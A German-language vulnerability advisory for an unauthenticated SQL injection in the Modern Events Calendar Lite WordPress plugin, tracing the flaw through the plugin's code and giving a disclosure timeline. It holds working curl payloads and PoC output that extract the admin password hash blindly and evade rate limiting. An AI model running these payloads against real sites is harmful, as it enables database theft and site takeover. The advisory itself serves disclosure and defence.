
Modern Events Calendar Lite <= 7.33.0 — Nicht authentifizierte SQL-Injection
| Detail | Wert |
|---|
| Plugin | Modern Events Calendar Lite |
| Slug | modern-events-calendar-lite |
| Autor | Webnus |
| Betroffen | <= 7.33.0 (die aktuelle vom Anbieter verteilte Lite-Version). Fehler vorhanden im gesamten post-w.org Bereich; lab-bestätigt auf 6.5.6 und 7.33.0, statisch bestätigt in 5.21.2. 6.5.6 = letzter wordpress.org-Build (eingefroren bei Schließung am 2022-05-11); 7.33.0 = aktueller Build, verteilt von mec.webnus.net |
| Aktive Installationen | wordpress.org-Zahl seit Schließung verborgen; historisch 100.000+. Wird weiterhin aktiv vom Anbieter verteilt/aktualisiert (Lite via mec.webnus.net; derselbe 7.x-Codebasis liegt dem aktiv verkauften MEC Pro zugrunde) |
| CWE | CWE-89 (SQL-Injection) |
| Sicherheitslücke | Nicht authentifizierte blinde SQL-Injection (zeitbasiert / boolesch / fehlerbasiert) |
| Erforderliche Berechtigungen | Keine (wp_ajax_nopriv_* — vor Authentifizierung) |
| Benutzerinteraktion | Keine |
| CVSS v3.1 | 7.5 (Hoch) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| Status | Lab-verifiziert End-to-End auf 7.33.0 (aktuell) und 6.5.6 (WordPress 6.6.5, MariaDB 10.x) |
| CVE / GHSA | CVE-2026-11349 |
Modern Events Calendar Lite registriert eine Familie von nicht authentifizierten admin-ajax.php "Load More"-
Aktionen für seine Event-List-Skins (list, grid, masonry, agenda, timeline, tile,
custom). Jeder Handler liest das vom Angreifer kontrollierte atts-Request-Array, übergibt es an eine
Helper-Funktion namens sanitize_deep_array() — die bei Aufruf mit ihren Standardargumenten überhaupt keine
Sanitisierung durchführt — und verkettet dann die Werte von atts['include'] (und atts['exclude'])
roh in einen SQL-post_id IN (...)-Fragment, das mit $wpdb->get_results() ausgeführt wird und
kein $wpdb->prepare() verwendet.
Da die Einstiegspunkte auf wp_ajax_nopriv_* registriert sind, ist keine Authentifizierung, kein Konto, kein Nonce
oder Benutzerinteraktion erforderlich. Ein nicht authentifizierter entfernter Angreifer kann beliebiges SQL in
die WHERE-Klausel eines SELECT gegen wp_mec_dates injizieren und beliebige Daten in der WordPress-Datenbank
(Benutzer-Passwort-Hashes, wp_options-Geheimnisse/Schlüssel, Daten anderer Plugins) mittels blinder
zeitbasierter / boolescher / fehlerbasierter Techniken auslesen.
app/libraries/main.php:9607:
public function sanitize_deep_array($inputs, $type = 'text', $excludes = array(), $path = '')
{
if(!is_array($inputs)) return $inputs;
$sanitized = array();
foreach($inputs as $key => $val)
{
$p = $path.$key.'.';
if((is_array($excludes) and in_array(trim($p, '. '), $excludes))
or (is_array($excludes) and !count($excludes))) // line 9615
{
$sanitized[$key] = $val; // <-- RAW-Durchleitung, keine Sanitisierung
continue;
}
// ... (sanitize_text_field / (int) / esc_url / ... nur erreicht, wenn $excludes nicht leer ist)
}
return $sanitized;
}
Die Guard-Bedingung (is_array($excludes) and !count($excludes)) macht die Funktion zu einer vollständigen No-Op, wenn
$excludes das leere Standard-Array ist — jeder Wert wird wörtlich kopiert. Die Absicht war
offensichtlich "wenn es eine Ausschlussliste gibt, überspringe diese Schlüssel"; die boolesche Logik überspringt stattdessen
alles, wenn keine Ausschlussliste angegeben wird.
$excludesapp/skins/list.php:499-501 (load_more()):
$this->sf = (isset($_REQUEST['sf']) and is_array($_REQUEST['sf']))
? $this->main->sanitize_deep_array($_REQUEST['sf']) : array();
$apply_sf_date = isset($_REQUEST['apply_sf_date']) ? sanitize_text_field($_REQUEST['apply_sf_date']) : 1;
$atts = $this->sf_apply(((isset($_REQUEST['atts']) and is_array($_REQUEST['atts']))
? $this->main->sanitize_deep_array($_REQUEST['atts']) : array()), $this->sf, $apply_sf_date); // line 501
sanitize_deep_array($_REQUEST['atts']) wird mit einem einzigen Argument aufgerufen → $excludes
standardmäßig auf array() → der No-Op-Zweig oben → $atts ist das rohe, nicht vertrauenswürdige $_REQUEST['atts'].
IN (...)-Klauselapp/libraries/skins.php:
// line 603 (exclude → NOT IN)
if(isset($this->atts['exclude']) and is_array($this->atts['exclude']) and count($this->atts['exclude']))
$where_AND .= " AND `post_id` NOT IN (".implode(',', $this->atts['exclude']).")";
// line 606 (include → IN)
if(isset($this->atts['include']) and is_array($this->atts['include']) and count($this->atts['include']))
$where_AND .= " AND `post_id` IN (".implode(',', $this->atts['include']).")";
Die Array-Elemente werden direkt in den SQL-String implode()d, ohne Integer-Cast und ohne
Escape. (absint()/(int) bei jedem Element hätte dies verhindert.)
app/libraries/db.php:79:
public function select($query, $result = 'loadObjectList')
{
$query = $this->_prefix($query); // ersetzt nur `#__` durch das Tabellenpräfix
$database = $this->get_DBO();
if($result == 'loadObjectList') return $database->get_results($query, OBJECT_K); // line 87 — kein prepare()
// ...
}
Der vollständig aufgebaute String wird $wpdb->get_results() wörtlich übergeben.
Taint-Fluss (Request → Senke):
$_REQUEST['atts'] (vom Angreifer kontrolliert, nicht authentifiziert)
→ app/skins/list.php:501 sanitize_deep_array($atts) (NO-OP: Standard-leeres $excludes)
→ MEC_skin::initialize($atts) ($this->atts = rohe atts)
→ app/libraries/skins.php:606 "... post_id IN (".implode(',', $this->atts['include']).")"
→ app/libraries/db.php:87 $wpdb->get_results($query) (kein prepare)
app/skins/list.php:51-52:
$this->factory->action('wp_ajax_mec_list_load_more', array($this, 'load_more'));
$this->factory->action('wp_ajax_nopriv_mec_list_load_more', array($this, 'load_more')); // <-- nicht authentifiziert
Die nopriv-Registrierung macht den Endpunkt vor der Authentifizierung erreichbar. Dasselbe
load_more()-Schema und der gemeinsame Query-Builder aus skins.php sind in den Geschwister-Skins vorhanden, jeder
mit seiner eigenen wp_ajax_nopriv_*-Aktion, sodass dieselbe Injektion über jeden der folgenden Punkte erreichbar ist:
AJAX-Aktion (nopriv) | Skin-Handler |
|---|---|
mec_list_load_more | app/skins/list.php:497 |
mec_grid_load_more | app/skins/grid.php:497 |
mec_masonry_load_more | app/skins/masonry.php:229 |
mec_agenda_load_more | app/skins/agenda.php:242 |
mec_timeline_load_more | app/skins/timeline.php:242 |
mec_tile_load_more | app/skins/tile.php:446 |
mec_custom_load_more | app/skins/custom.php:233 |
In load_more() wird kein Nonce geprüft, und die Aktion erfordert kein Plugin-Shortcode auf einer
Seite — die AJAX-Handler werden bedingungslos bei init registriert.
Alle Requests sind nicht authentifiziert (kein Cookie, kein Nonce). Der injizierte Wert wird in
atts[include][] platziert; das Payload schließt die beiden offenen Klammern der IN ((...) AND (... IN (-Gruppe
und hängt ein top-level OR <sleep> an, sodass die Bedingung für jede gescannte Zeile ausgewertet wird, und
kommentiert dann den nachfolgenden )) ORDER BY ...-Teil aus:
TARGET='https://victim.example' # plain permalinks: admin-ajax.php direkt verwenden
# 1) Baseline (keine Injektion)
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
--data-urlencode 'action=mec_list_load_more' \
--data-urlencode 'atts[include][]=0'
# → ~0.27s
# 2) Zeitbasierter Beweis — ausgeglichenes top-level OR SLEEP
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
--data-urlencode 'action=mec_list_load_more' \
--data-urlencode 'atts[include][]=0)) OR SLEEP(3)#'
# → ~3.04s ← SLEEP(3) ausgeführt
# 3) Boolesches Orakel (wahr vs. falsch)
# atts[include][]=0)) OR IF(1=1,SLEEP(3),0)# → ~3.06s (WAHR)
# atts[include][]=0)) OR IF(1=2,SLEEP(3),0)# → ~0.04s (FALSCH)
# 4) Echte Datenextraktion (blind), z.B. Admin-Passwort-Hash erstes Byte == '$' (0x24):
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
--data-urlencode 'action=mec_list_load_more' \
--data-urlencode "atts[include][]=0)) OR IF((SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users ORDER BY ID LIMIT 1)=36,SLEEP(3),0)#"
# → ~3.04s ← WAHR: Admin-Hash beginnt mit '$' (phpass)
Die genaue ausgeführte Abfrage (aufgezeichnet aus WP_DEBUG_LOG) für einen Fehler-Canary
atts[include][]=0)MEC_SQLI_CANARY war:
SELECT * FROM `wp_mec_dates`
WHERE (( `tstart`>='1780531200' AND `tend`<='2256249599' )
OR ( `tstart`<='2256249599' AND `tend`>='2256249599' )
OR ( `tstart`<='1780531200' AND `tend`>='1780531200' ))
AND ( 1 AND `public`=1 AND `status`='publish' AND `post_id` IN (0)MEC_SQLI_CANARY))
ORDER BY `tstart` ASC, `id` ASC
— das Literal-Token MEC_SQLI_CANARY erscheint wörtlich in der ausgeführten Anweisung, was die rohe
Verkettung bestätigt. Der Parameter atts[exclude][] (skins.php:803 / 603, NOT IN) ist identisch
injizierbar (lab-bestätigt: atts[exclude][]=0)) OR SLEEP(3)# → ~3.5s). Die identische Abfrage und
Injektion wurden auf 7.33.0 (aktueller Build) reproduziert — gleicher Canary, gleiches SLEEP-Verhalten.
mec-unauth-sqli-poc.py (enthalten) ist vollständig in sich geschlossen und erfordert keine Anmeldedaten: es
bestätigt die Injektion (Baseline vs. SLEEP) und führt dann eine zeitbasierte blinde Extraktion beliebiger
Daten durch (Standard: @@version, DB-Benutzer und das erste Admin-user_login:user_pass). Es validiert jede
Antwort (HTTP 200) und taktet Requests mit --delay + Back-off, um WAF/Rate-Limiting zu überleben
(z. B. mod_evasive). Es werden keine Daten modifiziert (nur lesender SELECT-Kontext).
$ python3 mec-unauth-sqli-poc.py --url https://victim.example --extract hash
[+] baseline=0.27s sleep-case=3.04s threshold=1.66s
[+] CONFIRMED unauthenticated time-based SQL injection (no auth, no nonce).
[*] Extracting (SELECT CONCAT(user_login,0x3a,user_pass) FROM wp_users ORDER BY ID LIMIT 1)
[+] admin:$P$B...
Nicht authentifizierter, netzwerkerreichbarer, vollständiger Lese-Zugriff auf die Datenbank: wp_users-Passwort-
Hashes, wp_options (auth_key, API-Geheimnisse, Token) und jede andere Tabelle. In der Praxis führt dies
zur vollständigen Site-Übernahme (Offline-Hash-Knacken, Geheimnis-/Sitzungsdiebstahl). Die Auswirkung auf die Integrität ist begrenzt —
die Injektion wird in einem SELECT über $wpdb->get_results() ausgeführt, das keine gestapelten Abfragen erlaubt —
daher I:N. Schwere SLEEP/BENCHMARKs könnten die Verfügbarkeit beeinträchtigen, aber die primäre, zuverlässig
demonstrierte Auswirkung ist die Vertraulichkeit (C:H), was zu CVSS 7.5 führt.
Zeilennummern gelten für 7.33.0 (aktuell) mit 6.5.6 in Klammern; der Code ist im gesamten Bereich identisch.
| Datei | Zeile (7.33.0 / 6.5.6) | Problem |
|---|---|---|
app/libraries/main.php | 11726-11734 / 9607-9619 | sanitize_deep_array() ist eine No-Op, wenn $excludes das Standard-leere Array ist (der !count($excludes)-Guard) |
app/skins/list.php | 535 / 501 | atts aus $_REQUEST gelesen und an sanitize_deep_array() ohne $excludes übergeben (in load_more(), 532 / 497) |
app/skins/list.php | 53 / 52 | wp_ajax_nopriv_mec_list_load_more → nicht authentifizierter Einstiegspunkt |
app/libraries/skins.php | 806 / 603-606 | include / exclude-Array implode()d roh in post_id IN (...) / NOT IN (...) (exclude bei 803 / 603) |
app/libraries/db.php | 79-93 (87) | MEC_db::select() führt $wpdb->get_results() ohne prepare() aus |
Die Geschwister-Skins (grid, masonry, agenda, timeline, tile, custom) teilen sich das gleiche
load_more() + skins.php-Query-Builder und registrieren jeweils eine wp_ajax_nopriv_*-Aktion → gleicher Fehler,
mehrere Einstiegspunkte.
Dies ist ein eigenständiger, zuvor nicht gemeldeter Injektionspunkt. Jede öffentlich dokumentierte MEC SQL- Injection zielt auf eine andere AJAX-Aktion und einen anderen Parameter ab, und alle wurden in Versionen gepatcht, die dieser Fund nach sich zieht (er ist lab-bestätigt live in 7.33.0):
| Referenz | Auth | AJAX-Aktion | Parameter | Behoben in |
|---|---|---|---|---|
| CVE-2021-24946 | Nicht authentifiziert | mec_load_single_page | time | 6.1.5 |
| CVE-2021-4458 | Nicht authentifiziert (nur wenn addslashes/Input-Slashing deaktiviert) | mec_load_single_page | id | 6.4.0 |
| CVE-2021-24149 | Authentifiziert (Autor+/Abonnent) | mec_fes_form | mec[post_id] | 5.16.6 |
| Dieser Bericht | Nicht authentifiziert (keine Vorbedingung) | mec_list_load_more (+ mec_{grid,masonry,agenda,timeline,tile,custom}_load_more) | atts[include][] / atts[exclude][] | ungepatcht (≤ 7.33.0) |
mec_load_single_page; dieses hier befindet sich in der Skin-"Load More"-Paginierung
(load_more() → MEC_skin::initialize() → app/libraries/skins.php post_id IN (...)-Builder),
erreicht durch den No-Op-Standardzweig von sanitize_deep_array(). Die Patches für mec_load_single_page
berühren skins.php nicht.id) war nur ausnutzbar, wenn das PHP/WordPress-
Input-Slashing deaktiviert war (ein nicht standardmäßiger Zustand), weil dieser Wert in einem zitierten Kontext
steht. Hier landen die Werte atts[include]/atts[exclude] in einem unzitierten numerischen IN(...)-Kontext
und werden mit Klammern + SQL-Schlüsselwörtern (0)) OR SLEEP(3)#) ausgenutzt, die wp_magic_quotes()
nicht neutralisiert. Daher ist es auf einer Standard-WordPress-Installation ausnutzbar — lab-bestätigt
auf Stock WP 7.0 (magic quotes an).mec_load_single_page-Patch (6.4.0).Modern Events Calendar Lite wurde am 2022-05-11 von wordpress.org entfernt ("Grund: Richtlinienverstoß"), daher ist der wordpress.org-Build bei 6.5.6 eingefroren. Dies bedeutet nicht, dass das Plugin aufgegeben wurde — Webnus hat die Entwicklung außerhalb der Plattform fortgesetzt: Der aktuelle Lite-Build, der von mec.webnus.net verteilt wird, ist 7.33.0, und der anfällige Codepfad ist dort byte-for-byte derselbe (lab-bestätigt; die SQLi feuert identisch auf 7.33.0). Der Fehler betrifft daher jede Version im gesamten Nach-Entfernungs-Bereich, nicht nur die eingefrorene wordpress.org-Kopie.
Auswirkungen auf die Routinen (der Einwand "closed on wordpress.org" ist viel schwächer als es zunächst scheint):
app/libraries/skins.php,
app/libraries/main.php und app/libraries/db.php sind gemeinsam genutzte Kernbibliotheken, daher ist Pro
mit hoher Wahrscheinlichkeit betroffen. Dies sollte gegen Pro-Quellcode bestätigt werden, bevor es formal
behauptet wird, aber die gemeinsam genutzte Bibliotheksarchitektur macht es sehr wahrscheinlich. Ein bestätigter
Pro-Einfluss macht den Befund eindeutig im Rahmen für Patchstack (eine öffentlich verkaufte Komponente)
und einen MITRE/Patchstack-CVE wert, unabhängig vom Status der wordpress.org-Listung.Ein CVE ist aufgrund der Verdienste gerechtfertigt: nicht authentifizierte, netzwerkerreichbare, vollständige DB-Lese-SQL-Injection in einem aktuellen, vom Anbieter verteilten Produkt mit einer historischen sechsstelligen Installationsbasis.
| Datum | Ereignis |
|---|---|
| 2026-06-03 | Entdeckt während automatischer Plugin-Überprüfung; End-to-End verifiziert (unauth) auf MEC Lite 6.5.6 (wordpress.org-eingefrorener Build) |
| 2026-06-04 | Erneut End-to-End verifiziert auf 7.33.0 (aktueller vom Anbieter verteilter Lite von mec.webnus.net); Code/Injektion identisch bestätigt — Befund ist aktuell, kein Artefakt einer entfernten Version |
| 2026-06-04 | Benachrichtigung des Anbieters (Webnus) + WPScan CVE-Anfrage; Bestätigung, dass MEC Pro den Pfad teilt |
| 2026-06-05 | Sicherheitslücke verifiziert und CVE zugewiesen |